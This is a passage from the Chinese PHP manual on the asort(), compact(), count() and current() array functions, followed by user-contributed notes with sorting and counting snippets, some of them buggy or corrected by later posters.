    echo "$key = $val\n";
}
?>

以上例程会输出：

c = apple
b = banana
d = lemon
a = orange

fruits 被按照字母顺序排序，并且单元的索引关系不变。

参见

  • arsort() - 对数组进行逆向排序并保持索引关系
  • 数组排序函数对比

User Contributed Notes

elhanafi123 at gmail dot com 20-Sep-2018 09:47
I have written this function so its sort an multidimensional array with a specific key.

<?php
function sort_array($array, $sort_value, $reverse = false){
    $value = $result = array();

    foreach($array as $key => $rows){
        $value[$key] = strtolower($rows[$sort_value]);
    }

    if($reverse == true){
        arsort($value);
    }else{
        asort($value);
    }

    foreach($value as $keys => $null){
        $result[] = $array[$keys];
    }

    return $result;
}
?>

Examples

<?php

$array = array(array('a' => 'foo'), array('a' => 'foo4'), array('a' => 'foo2'), array('a' => 'foo3'));
print_r($array);
//Array ( [0] => Array ( [a] => foo ) [1] => Array ( [a] => foo4 ) [2] => Array ( [a] => foo2 ) [3] => Array ( [a] => foo3 ) )

print_r(sort_array($array, 'a'));
//Array ( [0] => Array ( [a] => foo ) [1] => Array ( [a] => foo2 ) [2] => Array ( [a] => foo3 ) [3] => Array ( [a] => foo4 ) )

print_r(sort_array($array, 'a', true));
//Array ( [0] => Array ( [a] => foo4 ) [1] => Array ( [a] => foo3 ) [2] => Array ( [a] => foo2 ) [3] => Array ( [a] => foo ) )

?>
aditycse at gmail dot com 07-Aug-2015 12:41
/*
 * Name : Aditya Mehrotra
 * Email: aditycse@gmail.com
 */
//Example for sorting by values for an alphanumeric array also having case-sensitive data
$exampleArray1 = $exampleArray2 = array(
    0 => 'example1',
    1 => 'Example10',
    2 => 'example12',
    3 => 'Example2',
    4 => 'example3',
    5 => 'EXAMPLE10',
    6 => 'example10'
);

//default sorting
asort($exampleArray1);

// alphanumeric with case-sensitive data sorting by values
asort($exampleArray2, SORT_STRING | SORT_FLAG_CASE | SORT_NATURAL);

//output of defaut sorting
print_r($exampleArray1);
/*
 * output of default sorting
  Array
  (
  [5] => EXAMPLE10
  [1] => Example10
  [3] => Example2
  [0] => example1
  [6] => example10
  [2] => example12
  [4] => example3
  )
 */

print_r($exampleArray2);
/*
 * output of alphanumeric with case-sensitive data sorting by values
 Array
(
    [0] => example1
    [3] => Example2
    [4] => example3
    [5] => EXAMPLE10
    [1] => Example10
    [6] => example10
    [2] => example12
)
 */
stephen [ at ] brooksie-net [ dot ] co [ dot ] uk 01-Mar-2013 04:37
It is obviously necessary to log the keys used as so we don't overwrite previous entries in the array ;o)

N.B. this also effects the timings, but still faster than the alternatives :

     * int : 0.00159    (ms)
     * str : 0.00092    (ms)

<?php
private function _keySort(Array $data)
    {
        $keys = array();

        foreach($data as $row) {

            $keyIncrement =
                (!isset($keys[$row[$this->_orderField]]))
                    ? $keys[$row[$this->_orderField]] = 0
                    : ++$keys[$row[$this->_orderField]];

            $tempArray[$row[$this->_orderField].$keyIncrement] = $row;
        }

        if ($this->_orderDirection == 'DESC') {
            krsort($tempArray, SORT_NATURAL | SORT_FLAG_CASE );
        } else {
            ksort($tempArray, SORT_NATURAL | SORT_FLAG_CASE);
        }

        return $tempArray;

    }
?>
nick ([AT]) nickyost ([DOT]) com 15-Sep-2011 03:32
This function can be used to sort multidimensional arrays with almost no work whatsoever by using the individual values within the custom sort function.

This function passes the entire child element even if it is not a string. If it is an array, as would be the case in multidimensional arrays, it will pass the whole child array as one parameter.

Therefore, do something elegant like this:

<?php
     // Sort the multidimensional array
     usort($results, "custom_sort");
     // Define the custom sort function
     function custom_sort($a,$b) {
          return $a['some_sub_var']>$b['some_sub_var'];
     }
?>

This does in 4 lines what other functions took 40 to 50 lines to do. This does not require you to create temporary arrays or anything. This is, for me, a highly preferred solution.

Hope it helps!
Anon 06-May-2011 05:37
Case insensitive sort in one line:

<?php

array_multisort(array_map('strtolower', $array), $array);

?>
rick at toewsweb dot net 28-Apr-2011 04:40
On sorting by value first, then by key (cf., 2008-01-31 notes by mike at clear-link dot com):

What occurred to me to solve this problem was to extract the keys and values into separate arrays, then use array_multisort to get the desired order:

Ex:
<?php
$kvpairs = array('noun' => 'thought', 'animal' => 'fish', 'abstract' => 'thought', 'food' => 'fish', 'verb' => 'fish');
print "before:\n";
print_r($kvpairs);

// Essentially, one line of code is all that's needed for the sort:
array_multisort(array_values($kvpairs), array_keys($kvpairs), $kvpairs);

print "after:\n";
print_r($kvpairs);
?>

before:
Array
(
    [noun] => thought
    [animal] => fish
    [abstract] => thought
    [food] => fish
    [verb] => fish
)
after:
Array
(
    [animal] => fish
    [food] => fish
    [verb] => fish
    [abstract] => thought
    [noun] => thought
)

Of course, array_multisort allows you to specify sort order (SORT_ASC, SORT_DESC) and sort type (SORT_REGULAR, SORT_STRING, SORT_NUMERIC) for each array you pass it.
Eran 21-Apr-2009 05:15
i made this sample multi dimensional array sort to someone who needed to read lines from a text file instead of using sql - order by statement.

the idea is to take the key and sort(order) the specific column and then order the entire of the array as the selected column asort returned.

<?php
/**
 *
 * This sample is reading text data
 * and perform a sort to a 2 dimensional array
 * just like a normal sql do to "order by asc"
 *
 */

$foo = array();

/*
# SORT_REGULAR - compare items normally (don't change types)
# SORT_NUMERIC - compare items numerically
# SORT_STRING - compare items as strings
*/
$sort_by = SORT_REGULAR;

/*
# 0 - order by name column
# 1 - order by age column
# 2 - order by rank column
# 3 - order by color column
*/
$order_by = 1;

// source file
$line_of_text[1] = 'a1name|f2age|h3rank|jcolor';
$line_of_text[2] = 'b1name|d2age|i3rank|k4color';
$line_of_text[0] = 'c1name|e2age|g3rank|l4color';

// make array
for ($x=0; $x<=2; $x++)
{
    $line = explode('|',$line_of_text[$x]);

    // save it by coulmns otherwise it will saved like rows
    for ($i=0; $i<=3; $i++) {
          $foo[$i][$x] = $line[$i];
    }
}

// get the key order
$a = $foo[$order_by];

// sort
asort($a, $sort_by);

// start print
echo "<table cellpudding=0 cellspacing=0 border=1>\n";
        echo "<tr>\n";
          echo "<td>key</td>\n";
          echo "<td>name</td>\n";
          echo "<td>age</td>\n";
          echo "<td>rank</td>\n";
          echo "<td>color</td>\n";
        echo "</tr>\n";

// print by key order
foreach ($a as $k => $v) {
    echo "<tr>\n";
      echo "<td>$k</td>\n";
      // you can print here a for loop (0 to num of columns[=3])
      echo "<td>".$foo[0][$k]."</td>\n";
      echo "<td>".$foo[1][$k]."</td>\n";
      echo "<td>".$foo[2][$k]."</td>\n";
      echo "<td>".$foo[3][$k]."</td>\n";
    echo "</tr>\n";
}
echo "</table>\n";
?>
bakatamas at freemail dot hu 15-Feb-2008 02:34
Dear mike at clear-link dot com!

I needed a case insensitive version of your function. It is still not perfect as I have to do something with country specific characters (?üó?úéá?í?üó?úéá?í)

function akisort(&$array,$valrev=false,$keyrev=false)
    {
    if ($valrev)
        {
        arsort($array);
        }
        else
        {
        asort($array);
        };
    $vals = array_count_values($array);
    $i = 0;
    foreach ($vals AS $val=>$num)
        {
        $first = array_splice($array,0,$i);
        $tmp = array_splice($array,0,$num);
        $tmp2 = array();
        foreach($tmp as $key => $value)
            {
            $tmp2[] = $key;
            $number = $value;
            };
        natcasesort($tmp2);
        reset($tmp2);
        print_r($tmp2);
        unset($tmp);
        foreach($tmp2 as $key => $value)
            {
            $tmp[$value] = $number;
            };
        if($keyrev)
            {
            $tmp = array_reverse($tmp, true);
            };
        $array = array_merge($first,$tmp,$array);
        unset($tmp);
        $i = $i+$num;
        };
};
mike at clear-link dot com 31-Jan-2008 03:56
Small typo in the aksort function I just submitted. Here's the entire thing again, with the correction noted:

<?php
function aksort(&$array,$valrev=false,$keyrev=false) {
  if ($valrev) { arsort($array); } else { asort($array); }
  $vals = array_count_values($array);
    $i = 0;
    foreach ($vals AS $val=>$num) {
        $first = array_splice($array,0,$i);
        $tmp = array_splice($array,0,$num);
        if ($keyrev) { krsort($tmp); } else { ksort($tmp); }
        $array = array_merge($first,$tmp,$array);
        unset($tmp);
        $i = $i+$num;
        // Fixed from previous post: $i = $num;
    }
}
?>
mike at clear-link dot com 31-Jan-2008 03:23
For a recent project I needed to sort an associative array by value first, and then by key if a particular value appeared multiple times. I wrote this function to accomplish the task. Note that the parameters default to sort ascending on both keys and values, but allow granular control over each.

<?php
function aksort(&$array,$valrev=false,$keyrev=false) {
  if ($valrev) { arsort($array); } else { asort($array); }
    $vals = array_count_values($array);
    $i = 0;
    foreach ($vals AS $val=>$num) {
        $first = array_splice($array,0,$i);
        $tmp = array_splice($array,0,$num);
        if ($keyrev) { krsort($tmp); } else { ksort($tmp); }
        $array = array_merge($first,$tmp,$array);
        unset($tmp);
        $i = $num;
    }
}

// Example
$tmp = array('ca'=>1,'cb'=>2,'ce'=>1,'pa'=>2,'pe'=>1);

// Standard asort
asort($tmp);
print_r($tmp);

// Sort value ASC, key ASC
aksort($tmp);
print_r($tmp);

// Sort value DESC, key ASC
aksort($tmp,true);
print_r($tmp);

// Sort value DESC, key DESC
aksort($tmp,true,true);
print_r($tmp);

// Results
Array
(
    [pe] => 1
    [ca] => 1
    [ce] => 1
    [cb] => 2
    [pa] => 2
)
Array
(
    [ca] => 1
    [ce] => 1
    [pe] => 1
    [cb] => 2
    [pa] => 2
)
Array
(
    [cb] => 2
    [pa] => 2
    [ca] => 1
    [ce] => 1
    [pe] => 1
)
Array
(
    [pa] => 2
    [cb] => 2
    [pe] => 1
    [ce] => 1
    [ca] => 1
)
mzvarik at gmail dot com 16-Jan-2008 09:29
I noticed that my function mentioned earlier is very misleading - somebody please delete that note!

This is how you sort:
<?php
setlocale (LC_ALL, 'czech');
$array = array("a", "?", "c");
usort ($array, 'strcoll');
print_r($array);
?>
przemekkus [at] interia [dot] pl 02-Nov-2007 06:34
Function written by a dot brandon at chello dot nl has an error  - wrong variable name. It should be:

if($rev) arsort($named_hash,$flags=0) ;

instead of

if($reverse) arsort($named_hash,$flags=0) ;
a dot brandon at chello dot nl 25-Jun-2007 07:18
I use this for quasi-SQL orderby. Loosely based on smileaf. Any good for you nerds?

<?

function named_records_sort($named_recs, $order_by, $rev=false, $flags=0)
{// Create 1-dimensional named array with just
 // sortfield (in stead of record) values
    $named_hash = array();
     foreach($named_recs as $key=>$fields)
             $named_hash["$key"] = $fields[$order_by];

 // Order 1-dimensional array,
 // maintaining key-value relations
    if($reverse) arsort($named_hash,$flags=0) ;
    else asort($named_hash, $flags=0);

 // Create copy of named records array
 // in order of sortarray
    $sorted_records = array();
    foreach($named_hash as $key=>$val)
           $sorted_records["$key"]= $named_recs[$key];

return $sorted_records;} // named_recs_sort()

function show_sorted_records($named_recs, $order_by, $rev=false, $flags=0)
{$sorted_records=named_records_sort($named_recs, $order_by, $rev, $flags);
foreach($sorted_records as $name=>$fields)
  {echo "<b>$name</b>   ";
   foreach($fields as $field=>$val)
          echo "$field = $val "; echo "<br>";}
} // show_sorted_records()

$girl_friends=array();
$girl_friends["Anna"]=
array("born"=>'1989-08-22',"cupsize"=>'B-',"IQ"=>105, "daddy"=>'rich');
$girl_friends["Zoe"]
=array("born"=>'1978-03-11',"cupsize"=>'C#',"IQ"=>130, "daddy"=>'poor');
$girl_friends["Lilly"]
=array("born"=>'1985-06-16',"cupsize"=>'DD',"IQ"=>90, "daddy"=>'nasty');

$order_by="cupsize"; echo "And the winners are: <br>";
show_sorted_records($girl_friends, $order_by, true);

?>
gunnar at taljaren dot se 14-Jun-2007 01:00
for ($i=0;$i<5;$i++)
   $values[] = $i;
asort($values);

works, but
for ($i=0;$i<5;$i++)
   $values[$i] =$i;
asort($values);
doesn't!
smileaf at smileaf dot org 24-Jan-2007 06:34
Ok I was mistaken, after re-reading the previous post the ".$key" is important. What caused the sorting issue for me wasn't that at all. But rather something else.
doing an: asort($records, $flags); before returning fixes the sorting problems.
The sorting problem I was refearing to causes a character based sorting done on numeric data.
so instead of:
1
2
3
...
10
12
20
It was returned back as
1
10
12
2
20
3
...
basically what I was trying to fix in the first place.
richard at happymango dot me dot uk 23-Nov-2006 03:52
This is a fixed version of the same function I posted below. Now it will handle duplicate entries in the sorted field. EG: If there were two records that had the name Heathrow it would still work.

<?php

function record_sort($records, $field, $reverse=false)
{
    $hash = array();

    foreach($records as $key => $record)
    {
        $hash[$record[$field].$key] = $record;
    }

    ($reverse)? krsort($hash) : ksort($hash);

    $records = array();

    foreach($hash as $record)
    {
        $records []= $record;
    }

    return $records;
}

?>
richard at happymango dot me dot uk 22-Nov-2006 03:35
This is a function to sort an indexed 2D array by a specified sub array key, either ascending or descending.

It is usefull for sorting query results from a database by a particular field after the query has been returned

This function can be quite greedy. It recreates the array as a hash to use ksort() then back again

By default it will sort ascending but if you specify $reverse as true it will return the records sorted descending

<?php

function record_sort($records, $field, $reverse=false)
{
    $hash = array();

    foreach($records as $record)
    {
        $hash[$record[$field]] = $record;
    }

    ($reverse)? krsort($hash) : ksort($hash);

    $records = array();

    foreach($hash as $record)
    {
        $records []= $record;
    }

    return $records;
}

// Example below

$airports = array
(
    array( "code" => "LHR", "name" => "Heathrow" ),
    array( "code" => "LGW", "name" => "Gatwick" ),
);

printf("Before: <pre>%s</pre>", print_r($airports, true));

$airports = record_sort($airports, "name");

printf("After: <pre>%s</pre>", print_r($airports, true));

?>

Example Outputs:

Before: Array
(
    [0] => Array ( [code] => LHR, [name] => Heathrow )
    [1] => Array ( [code] => LGW, [name] => Gatwick )
)

After: Array
(
    [0] => Array ( [code] => LGW, [name] => Gatwick )
    [1] => Array ( [code] => LHR, [name] => Heathrow )
)
php at web-in-time dot com 05-Sep-2006 02:47
acecream's function works fine, especially with the spectre extension.

nevertheless sometimes the index values have to be kept. To achieve this, just replace:

$sorted_arr[] = $array[$arr_key];

with:

$sorted_arr[$arr_key] = $array[$arr_key];
rojaro 23-Jun-2004 07:38
Advanced sort array by second index function, which produces ascending (default) or descending output and uses optionally natural case insensitive sorting (which can be optionally case sensitive as well).
Only the first two arguments are required.

<?php

function sabsi ($array, $index, $order='asc', $natsort=FALSE, $case_sensitive=FALSE) {
  if(is_array($array) && count($array)>0) {
    foreach(array_keys($array) as $key) $temp[$key]=$array[$key][$index];
    if(!$natsort) ($order=='asc')? asort($temp) : arsort($temp);
    else {
      ($case_sensitive)? natsort($temp) : natcasesort($temp);
      if($order!='asc') $temp=array_reverse($temp,TRUE);
    }
    foreach(array_keys($temp) as $key) (is_numeric($key))? $sorted[]=$array[$key] : $sorted[$key]=$array[$key];
    return $sorted;
  }
  return $array;
}

?>
spectre at hellfish dot NOSPAM dot org 28-Apr-2003 09:54
that works nicely, tho it breaks the result-array up if one or more of arrays indexes are deleted before sorting. this one should fix it up:

change:
for ($i = 0; $i < sizeof($array); $i++) {

to:
foreach ($array as $i => $k) {
mbevan at marginsoftware dot com 03-Dec-2002 01:25
Nevermind... use my last note as a quick tip: if you wish to keep the keys, use asort() and arsort() in place of sort() and rsort().
31-Jul-2002 06:48
Similar to above but for an array of arrays instead of an array of objects.

<?php
function aasort($x,$var,$cmp='strcasecmp'){
  if ( is_string($var) ) $var = "'$var'";
  uasort($x,
    create_function('$a,$b',
      'return '.$cmp.'( $a['.$var.'],$b['.$var.']);')
  );
  return $x;
}
?>
phzzzt .a.t. acm .d.o.t. org 31-Jul-2002 06:32
Similar to above but for an array of arrays instead of an array of objects.

<?php
function aasort($x,$var,$cmp='strcasecmp'){
  if ( is_string($var) ) $var = "\'$var\'";
  uasort($x,
    create_function('$a,$b',
      'return '.$cmp.'( $a['.$var.'],$b['.$var.']);')
  );
  return $x;
}
?>
salchicha at cable dot net dot co 03-Apr-2002 01:23
Here's one I whipped up to allow you to sort an array of a specific class by a member or function:

<?php
// Sort a class by one of its members (even lowercase!!!)
function casort($arr, $var) {
   $tarr = array();
   $rarr = array();
   for($i = 0; $i < count($arr); $i++) {
      $element = $arr[$i];
      $tarr[] = strtolower($element->{$var});
   }

   reset($tarr);
   asort($tarr);
   $karr = array_keys($tarr);
   for($i = 0; $i < count($tarr); $i++) {
      $rarr[] = $arr[intval($karr[$i])];
   }

   return $rarr;
}
?>

It works very well. For example, I have a Room class with members title, isActive(), date, etc. I can sort an array by casort($rooms, "title") or casort($rooms, "isActive()") and it'll work.
rcwang at cmu dot edu 02-Mar-2002 05:42
Here's my version of sorting multi-dimensional array by 2nd index.
Feel free to change the code to suit your needs.

<?php
function aSortBySecondIndex($multiArray, $secondIndex) {
    while (list($firstIndex, ) = each($multiArray))
        $indexMap[$firstIndex] = $multiArray[$firstIndex][$secondIndex];
    asort($indexMap);
    while (list($firstIndex, ) = each($indexMap))
        if (is_numeric($firstIndex))
            $sortedArray[] = $multiArray[$firstIndex];
        else $sortedArray[$firstIndex] = $multiArray[$firstIndex];
    return $sortedArray;
}
?>
freeman at generalresources dot com 04-May-2001 04:51
The asortbyindex($sortarray, $index) looks like sort not asort. The key of the $sortarray was changed.
sweetland at whoadammit dot com 15-Aug-2000 12:02
Here's a little routine I whipped up to sort multi-dimensional arrays:
<?php
/**
 ** comesafter ($s1, $s2)
 **
 ** Returns 1 if $s1 comes after $s2 alphabetically, 0 if not.
 **/

function comesafter ($s1, $s2) {
        /**
         ** We don't want to overstep the bounds of one of the strings and segfault,
         ** so let's see which one is shorter.
         **/

        $order = 1;

        if (strlen ($s1) > strlen ($s2)) {
                $temp = $s1;
                $s1 = $s2;
                $s2 = $temp;
                $order = 0;
        }

        for ($index = 0; $index < strlen ($s1); $index++) {
                /**
                 ** $s1 comes after $s2
                 **/

                if ($s1[$index] > $s2[$index]) return ($order);

                /**
                 ** $s1 comes before $s2
                 **/

                if ($s1[$index] < $s2[$index]) return (1 - $order);
        }

        /**
         ** Special case in which $s1 is a substring of $s2
         **/

        return ($order);
}

/**
 ** asortbyindex ($sortarray, $index)
 **
 ** Sort a multi-dimensional array by a second-degree index. For instance, the 0th index
 ** of the Ith member of both the group and user arrays is a string identifier. In the
 ** case of a user array this is the username; with the group array it is the group name.
 ** asortby
 **/

function asortbyindex ($sortarray, $index) {
        $lastindex = count ($sortarray) - 1;
        for ($subindex = 0; $subindex < $lastindex; $subindex++) {
                $lastiteration = $lastindex - $subindex;
                for ($iteration = 0; $iteration < $lastiteration;    $iteration++) {
                        $nextchar = 0;
                        if (comesafter ($sortarray[$iteration][$index], $sortarray[$iteration + 1][$index])) {
                                $temp = $sortarray[$iteration];
                                $sortarray[$iteration] = $sortarray[$iteration + 1];
                                $sortarray[$iteration + 1] = $temp;
                        }
                }
        }
        return ($sortarray);
}
?>

It's a bit long with all the comments, but I hope it helps.
bwuhlman at tallships dot ca 02-Aug-2000 03:01
Well, actually, asort has *two* annoying features.

It works perfectly well sorting hashes (or associative arrays, as you might have it), but doggedly refuses to sort regular arrays maintaining index assocation. Kind've makes sense, but the docs don't explicitly say you can't do it.

Urgggh.
jacko at kring dot co dot uk 24-Feb-2000 11:26
asort has one anoying feature, it ignores any default or implicit order in the data.  i.e. if two elements of an array contain "banana" then it is not garanteed that the first will still be the first after the sort.
This makes the Burrows-Wheeler block sort a bit of a pain to impliment, with a trailing string having to be appended to all strings before sorting, and removed after sorting. To maintain the so called "banana" order.


建立一个数组，包括变量名和它们的值

  • ? asort
  • count ?
  • PHP Manual
  • 数组 函数
  • 建立一个数组，包括变量名和它们的值

compact

(PHP 4, PHP 5, PHP 7)

compact — 建立一个数组，包括变量名和它们的值

说明

compact ( mixed $varname1 [, mixed $... ] ) : array

创建一个包含变量与其值的数组。

对每个参数，compact() 在当前的符号表中查找该变量名并将它添加到输出的数组中，变量名成为键名而变量的内容成为该键的值。简单说，它做的事和 extract() 正好相反。返回将所有变量添加进去后的数组。

Note:

在 PHP 7.3 之前版本，未设置的字符串会被静默忽略。

参数

varname1

compact() 接受可变的参数数目。每个参数可以是一个包括变量名的字符串或者是一个包含变量名的数组，该数组中还可以包含其它单元内容为变量名的数组， compact() 可以递归处理。

返回值

返回输出的数组，包含了添加的所有变量。

错误／异常

如果字符串指向的变量未定义，compact() 会产生 E_NOTICE 级错误。

更新日志

版本 | 说明
7.3.0 | 现在，如果字符串指向的变量未定义，compact() 会产生 E_NOTICE 级错误。 在此之前，此类问题会静默忽略掉。

范例

Example #1 compact() 例子

<?php
$city  = "San Francisco";
$state = "CA";
$event = "SIGGRAPH";

$location_vars = array("city", "state");

$result = compact("event", "nothing_here", $location_vars);
print_r($result);
?>

以上例程会输出：

Array
(
    [event] => SIGGRAPH
    [city] => San Francisco
    [state] => CA
)

注释

Note: Gotcha

因为可变变量也许不能在函数内部用于 PHP 的超全局数组，此时不能将超全局数组传递入 compact() 中。

参见

  • extract() - 从数组中将变量导入到当前的符号表

User Contributed Notes

jmarkmurph at yahoo dot com 26-Jan-2016 01:45
So compact('var1', 'var2') is the same as saying array('var1' => $var1, 'var2' => $var2) as long as $var1 and $var2 are set.
Robc 19-Jan-2011 03:16
The description says that compact is the opposite of extract() but it is important to understand that it does not completely reverse extract().  In particluar compact() does not unset() the argument variables given to it (and that extract() may have created).  If you want the individual variables to be unset after they are combined into an array then you have to do that yourself.
M Spreij 24-May-2007 06:10
Can also handy for debugging, to quickly show a bunch of variables and their values:

<?php
print_r(compact(explode(' ', 'count acw cols coldepth')));
?>

gives

Array
(
    [count] => 70
    [acw] => 9
    [cols] => 7
    [coldepth] => 10
)


计算数组中的单元数目，或对象中的属性个数

  • ? compact
  • current ?
  • PHP Manual
  • 数组 函数
  • 计算数组中的单元数目，或对象中的属性个数

count

(PHP 4, PHP 5, PHP 7)

count — 计算数组中的单元数目，或对象中的属性个数

说明

count ( mixed $array_or_countable [, int $mode = COUNT_NORMAL ] ) : int

统计出数组里的所有元素的数量，或者对象里的东西。

对于对象，如果安装了 SPL，可以通过实现 Countable 接口对 count()挂钩（hook） 。该接口只有一个方法 Countable::count()，此方法为 count() 函数返回值。

关于 PHP 中如何实现和使用数组可以参考手册中数组章节中的详细描述。

参数

array_or_countable

数组或者 Countable 对象。

mode

如果可选的 mode 参数设为 COUNT_RECURSIVE（或 1），count() 将递归地对数组计数。对计算多维数组的所有单元尤其有用。

Caution

count() 能检测递归来避免无限循环，但每次出现时会产生 E_WARNING 错误 （如果 array 不止一次包含了自身）并返回大于预期的统计数字。

返回值

返回 array_or_countable 中的单元数目。 如果参数既不是数组，也不是实现 Countable 接口的对象，将返回 1。 有个例外：如果 array_or_countable 是 NULL 则结果是 0。

范例

Example #1 count() 例子

<?php
$a[0] = 1;
$a[1] = 3;
$a[2] = 5;
var_dump(count($a));

$b[0]  = 7;
$b[5]  = 9;
$b[10] = 11;
var_dump(count($b));

var_dump(count(null));

var_dump(count(false));
?>

以上例程会输出：

int(3)
int(3)

Warning: count(): Parameter must be an array or an object that implements Countable in ... on line 12 // PHP 7.2 起
int(0)

Warning: count(): Parameter must be an array or an object that implements Countable in ... on line 14 // PHP 7.2 起
int(1)

Example #2 递归 count() 例子

<?php
$food = array('fruits' => array('orange', 'banana', 'apple'),
              'veggie' => array('carrot', 'collard', 'pea'));

// recursive count
echo count($food, COUNT_RECURSIVE); // output 8

// normal count
echo count($food); // output 2

?>

更新日志

版本 | 说明
7.2.0 | 当无效的 countable 类型传递给 array_or_countable 参数时，count() 会产生警告。

参见

  • is_array() - 检测变量是否是数组
  • isset() - 检测变量是否已设置并且非 NULL
  • empty() - 检查一个变量是否为空
  • strlen() - 获取字符串长度

User Contributed Notes

lucasfsmartins at gmail dot com 07-Mar-2019 11:26
If you are on PHP 7.2+, you need to be aware of "Changelog" and use something like this:

<?php
$countFruits = is_array($countFruits) || $countFruits instanceof Countable ? count($countFruits) : 0;
?>

You can organize your code to ensure that the variable is an array, or you can extend the Countable so that you don't have to do this check.
flavioaugusto dot br at gmail dot com 01-Mar-2019 02:55
Criada para contar quantos níveis um array multidimensional possui.

function count_multiLevel($matrix, $_LEVEL = 0){

        /* Variáveis de recurs?o */
        $_COUNT = $_LEVEL;

        /* Verifica se o ARRAY foi instanciado */
        if (is_setVar($matrix)){

            /* Verifica se a variável é um ARRAY */
            if(is_array($matrix)){

                /* Loop de elementos da matriz*/
                foreach ($matrix as $elements => $value) {

                    /* Auxiliar para verifica??o posterior */
                    $_AUX = $_COUNT;

                    /* Verifiando os Nós */
                    if (is_array($matrix[$elements])) {
                        $_COUNT = count_multiLevel($matrix[$elements], $_LEVEL+1);
                    }
                    /* Cereja do bolo */
                    if($_AUX > $_COUNT)
                        $_COUNT = $_AUX;
                }
                /* Retorn do resultado da opera??o */
                return $_COUNT;

            }else{
                /* Em casos que o valor passado n?o seja uma matriz/array */
                return -1;
            }
        }
    }
buyatv at gmail dot com 27-Jan-2017 09:16
You can not get collect sub array count when use the key on only one sub array in an array:

$a = array("a"=>"appple", b"=>array('a'=>array(1,2,3),'b'=>array(1,2,3)));
$b = array("a"=>"appple", "b"=>array(array('a'=>array(1,2,3),'b'=>array(1,2,3)), array(1,2,3),'b'=>array(1,2,3)), array('a'=>array(1,2,3),'b'=>array(1,2,3))));

echo count($a['b']);  // 2 NOT 1, expect 1
echo count($b['b']);  // 3,   expected
buyatv at gmail dot com 26-Jan-2017 10:32
You can not get collect sub array count when there is only one sub array in an array:

$a = array ( array ('a','b','c','d'));
$b = array ( array ('a','b','c','d'), array ('e','f','g','h'));

echo count($a);  // 4 NOT 1, expect 1
echo count($b);  // 2,   expected
php_count at cubmd dot com 22-Nov-2016 03:12
All the previous recursive count solutions with $depth option would not avoid infinite loops in case the array contains itself more than once.
Here's a working solution:

<?php
    /**
     * Recursively count elements in an array. Behaves exactly the same as native
     * count() function with the $depth option. Meaning it will also add +1 to the
     * total count, for the parent element, and not only counting its children.
     * @param $arr
     * @param int $depth
     * @param int $i (internal)
     * @return int
     */
    public static function countRecursive(&$arr, $depth = 0, $i = 0) {
        $i++;
        /**
         * In case the depth is 0, use the native count function
         */
        if (empty($depth)) {
            return count($arr, COUNT_RECURSIVE);
        }
        $count = 0;
        /**
         * This can occur only the first time when the method is called and $arr is not an array
         */
        if (!is_array($arr)) {
            return count($arr);
        }

        // if this key is present, it means you already walked this array
        if (isset($arr['__been_here'])) {
            return 0;
        }

        $arr['__been_here'] = true;

        foreach ($arr as $key => &$value) {
            if ($key !== '__been_here') {
                if (is_array($value) && $depth > $i) {
                    $count += self::countRecursive($value, $depth, $i);
                }

                $count++;
            }
        }

        // you need to unset it when done because you're working with a reference...
        unset($arr['__been_here']);
        return $count;
    }
?>
ThisIsNotImportant 17-Dec-2015 03:10
About 2d arrays, you have many way to count elements :

<?php
$MyArray = array ( array(1,2,3),
                   1,
                   'a',
                   array('a','b','c','d') );

// All elements
echo count($MyArray ,COUNT_RECURSIVE);  // output 11 (9 values + 2 arrays)

// First level elements
echo count($MyArray );                  // output 4 (2 values+ 2 arrays)

// Both level values, but only values
echo(array_sum(array_map('count',$MyArray ))); //output 9 (9 values)

// Only second level values
echo (count($MyArray ,COUNT_RECURSIVE)-count($MyArray )); //output 7 ((all elements) - (first elements))
?>
pied-pierre 04-Jun-2015 05:27
A function of one line to find the number of elements that are not arrays, recursively :

function count_elt($array, &$count=0){
  foreach($array as $v) if(is_array($v)) count_elt($v,$count); else ++$count;
  return $count;
}
JumpIfBelow 05-May-2015 02:18
As I see in many codes, don't use count to iterate through array.
Onlyranga says you could declare a variable to store it before the for loop.
I agree with his/her approach, using count in the test should be used ONLY if you have to count the size of the array for each loop.

You can do it in the for loop too, so you don't have to "search" where the variable is set.
e.g.
<?php
    $array = [1, 5, 'element'];
    for($i = 0, $c = count($array); $i < $c; $i++)
        var_dump($array[$i]);
?>
onlyranga at gmail dot com 28-Apr-2014 02:14
[Editor's note: array at from dot pl had pointed out that count() is a cheap operation; however, there's still the function call overhead.]

If you want to run through large arrays don't use count() function in the loops , its a over head in performance,  copy the count() value into a variable and use that value in loops for a better performance.

Eg:

// Bad approach

for($i=0;$i<count($some_arr);$i++)
{
    // calculations
}

// Good approach

$arr_length = count($some_arr);
for($i=0;$i<$arr_length;$i++)
{
    // calculations
}
Gerd Christian Kunze 11-Dec-2013 12:56
Get maxWidth and maxHeight of a two dimensional array..?

Note:
1st dimension = Y (height)
2nd dimension = X (width)
e.g. rows and cols in database result arrays

<?php
$TwoDimensionalArray = array( 0 => array( 'key' => 'value', ...), ... );
?>

So for Y (maxHeight)
<?php
$maxHeight = count( $TwoDimensionalArray )
?>

And for X (maxWidth)
<?php
$maxWidth = max( array_map( 'count',  $TwoDimensionalArray ) );
?>

Simple? ;-)
danny at dannymendel dot com 13-Jun-2007 01:14
I actually find the following function more useful when it comes to multidimension arrays when you do not want all levels of the array tree.

// $limit is set to the number of recursions
<?php
function count_recursive ($array, $limit) {
    $count = 0;
    foreach ($array as $id => $_array) {
        if (is_array ($_array) && $limit > 0) {
            $count += count_recursive ($_array, $limit - 1);
        } else {
            $count += 1;
        }
    }
    return $count;
}
?>
alexandr at vladykin dot pp dot ru 08-Nov-2006 04:28
My function returns the number of elements in array for multidimensional arrays subject to depth of array. (Almost COUNT_RECURSIVE, but you can point on which depth you want to plunge).

<?php
  function getArrCount ($arr, $depth=1) {
      if (!is_array($arr) || !$depth) return 0;

     $res=count($arr);

      foreach ($arr as $in_ar)
         $res+=getArrCount($in_ar, $depth-1);

      return $res;
  }
?>


返回数组中的当前单元

  • ? count
  • each ?
  • PHP Manual
  • 数组 函数
  • 返回数组中的当前单元

current

(PHP 4, PHP 5, PHP 7)

current — 返回数组中的当前单元

说明

current ( array &$array ) : mixed

每个数组中都有一个内部的指针指向它"当前的"单元，初始指向插入到数组中的第一个单元。

参数

array

这个数组。

返回值

current() 函数返回当前被内部指针指向的数组单元的值，并不移动指针。如果内部指针指向超出了单元列表的末端，current() 返回 FALSE。

Warning

此函数可能返回布尔值 FALSE，但也可能返回等同于 FALSE 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

范例

Example #1 使用 current() 系列函数的例子

<?php
$transport = array('foot', 'bike', 'car', 'plane');
